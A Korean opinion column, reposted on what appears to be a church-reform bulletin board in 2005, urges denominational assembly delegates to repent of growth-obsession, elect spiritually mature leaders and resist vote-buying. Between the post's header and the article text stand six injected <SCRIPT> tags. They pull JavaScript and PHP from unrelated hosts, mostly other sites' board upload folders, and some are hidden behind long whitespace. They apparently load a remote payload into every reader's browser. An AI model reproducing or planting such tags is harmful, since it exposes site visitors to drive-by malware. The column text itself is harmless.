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칼럼 [박득훈 시론] 교단 총회에 호소합니다 [기독신문08/30]

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작성자 by 관리자 / 작성일05-09-05 17:20 / 조회 4,593 / 댓글0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    [시론] 교단 총회에 호소합니다 
박득훈 교회개혁실천연대 공동대표

교단총회를 보면 한국교회의 건강상태를 가늠할 수 있습니다. 가슴아프게도 벌써 오래 전부터 대부분의 교단총회가 기쁨과 희망의 진원지가 되기보다는 무관심과 냉소의 대상으로 전락해왔다는 것은 이미 주지의 사실입니다.
놀라운 부흥을 경험한 한국교회는 외견상 여전히 그럴듯해 보일지 모르지만 속으론 지금 중병을 앓으며 신음하고 있습니다. 교단총회의 현재 모습이 그 뚜렷한 증거입니다.

교단총회와 한국교회가 새로워질 수 있는 길은 두 가지입니다. 하나는 밑바닥으로부터 대대적인 교회개혁운동의 물결이 일어나 그 자연스런 결과로 교계리더십이 생겨나고 쇄신되는 것입니다. 하나님은 예수님의 생애와 사역 그리고 초대교회를 통해 보여주셨듯이 지금도 그렇게 새로운 역사를 써나가실 수 있는 능력이 있으십니다. 그러나 그것은 매우 슬프고 아픈 일입니다. 구약의 선지자들을 통해서 보여주셨듯이 하나님이 보다 간절히 원하시는 바는 교계리더들이 먼저 돌이켜 자정의 노력을 기울임으로써 한국교회개혁을 선도해 가는 것입니다. 그런 일이 실제로 일어나기를 간절히 희망하면서 교단총회 임원들과 총대의원들께 몇 가지 간곡한 호소를 드리고자 합니다.



한국교회를 중건하고자하는 절박한 심정으로 임하길

무엇보다도 느헤미야 당시 예루살렘이 무너지듯 한국교회가 그렇게 무너져 가고 있는 슬픈 현실을 온 가슴과 몸으로 뼈저리게 느껴주시기 바랍니다.
수개월 전 교계원로 중 한 분이 고백했듯 한국교회는 자기희생과 헌신의 십자가가 빠진 값싼 은혜, 생색내기 수준에 머무는 이웃사랑 그리고 세상의 불의에 대한 비겁한 침묵으로 말미암아 골병을 앓고 있습니다. 그 증상이 물량적 성장주의입니다. 한국교회의 모든 병폐는 이리로 통합니다.
이단의 강한 의혹을 받고있는 교회의 교단영입, 담임목사직의 세습, 양 도둑질을 불사하는 교회성장 도모, 교회재정의 불법적이고 변칙적인 운영, 사회문제에 대한 외면 혹은 냉전주의적이고 극우적인 정치적 입장의 공공연한 표명 등이 교회 안에서 너무 쉽게 용인되고 있지 않습니까?

초대교회는 오순절 설교를 통해 3000명의 회심이 일어날 것을 목표로 삼지 않았습니다. 그들은 다만 성령세례 받기를 간절히 열망하며 기도하였고 그 결과로 성령세례를 받자 예수님의 뜻을 받들어 목숨걸고 예수님의 십자가와 부활을 순수하게 전했을 뿐입니다. 그 자연스러운 결과로 3000명의 진실한 제자가 탄생했고 참으로 건강한 교회가 세워졌습니다.
 결과가 목표가 되기 시작하면 목표달성을 수월하게 만들기 위해 자신도 모르는 사이에 혹은 자기를 속여가며 하나님나라의 복음을 왜곡하고 변질시키게 됩니다. 바로 그것이 오늘 한국교회의 무너져 가는 모습입니다. 한국교회를 다시 중건하려면 물량적 성장주의에 빠진 죄를 슬피 울며 가슴을 치며 회개해야 합니다. 그런 절박한 심정으로 총회에 임하여 주시고 느헤미야처럼 한국교회의 중건을 위해 간절히 기도해주십시오.



영성이 탁월한 지도자를 선출해주길

영성이 탁월한 교단지도자를 선출해주십시오. 누가 교단지도자로 선출되는가의 문제는 교회의 생명과 직결되어 있습니다. 교회의 중요한 본분 중에 하나는 기둥과 터가 되어 진리를 받드는 것입니다(딤전 3:15). 만일 경건으로 포장된 욕망에 사로잡혀 있는 인물을 사람과 돈을 다루는데 유능하다거나 혹은 큰 교회를 세웠다는 이유만으로 리더로 선택한다면 교단은 근원적으로 흔들리게 됩니다. 그들이 교단을 외견상 더 큰집으로 만들어갈지는 모릅니다.
그러나 그 집은 이미 진리를 떠받드는 기둥과 터가 무너진 집이기 때문에 마지막 날 불에 타 없어질 집에 불과합니다. 바울이 디모데에게 그렇게 자세하게 장로와 집사의 기준을 전달해준 것도 바로 그런 이유에서입니다. 그 다양한 기준들을 한마디로 요약한다면 영성이 탁월한 리더십이라고 말할 수 있을 것입니다. 탁월한 영성이란 삶의 모든 면에서 하나님에 대한 순수한 사랑과 이웃에 대한 실천적 사랑으로 가득한 모습을 말합니다.

한국교회의 비극 중에 하나는 너무나 자주 영성이 탁월한 인물이 외면당하거나 스스로 자취를 감춤으로 말미암아 소위 권모술수에 능한 사람들이 교단을 장악해왔다는 점입니다.
이번 총회에선 이런 인물들에게 다시는 홀리거나 넘어가지 않길 진심으로 바랍니다. 돈 몇 푼, 정치적 이해관계, 안면 혹은 지역편의를 교회의 생명과 바꾸지 마시기 바랍니다. 영성이 탁월한 사람이 자연스럽게 리더로 선출될 수 있도록, 금권선거가 더 이상 활개를 칠 수 없는 풍토와 제도를 꼭 확보해 주십시오.



하나님나라의 정의를 추구하는 마음으로 현안을 다루길

총회는 다양한 현안을 다루게 됩니다. 각 사안마다 매우 복잡한 이해관계가 얽혀 있을 것입니다. 대의원들의 판단을 어렵게 하는 것은 이익과 손해가 옳고 그름이라는 이름의 가면을 뒤집어쓰고 등장할 때가 많다는 것입니다.
그 가면을 뚫고 진실을 볼 수 있으려면 자신의 눈이 먼저 맑아져야 합니다. 순결한 눈을 갖기 위해선 바울의 경우처럼 날마다 자신을 십자가에 못박아 버림으로 말미암아 이기적 욕망으로 연결된 세상과 나의 끈끈한 관계가 단절되어야 합니다(갈 6:14). 나와 세상은 온데간데 없어지고 온전히 하나님나라의 정의에 대한 열망으로 가득 차야 합니다. 하나님의 정의로운 나라가 이 땅에 임하길 바라는 간절한 기도가 생활화되어야 합니다. 각 현안을 다룰 때마다 모든 복잡한 이해관계를 떠나 바로 그런 자세로 임해주시기 바랍니다. 정의의 목소리를 교권으로 짓밟거나 적당히 넘어가는 일이 없기를, 그러한 부패한 분위기에 압도당해 스스로 포기하지 않길 진심으로 바랍니다. 

  기자  등록일 2005-08-30 
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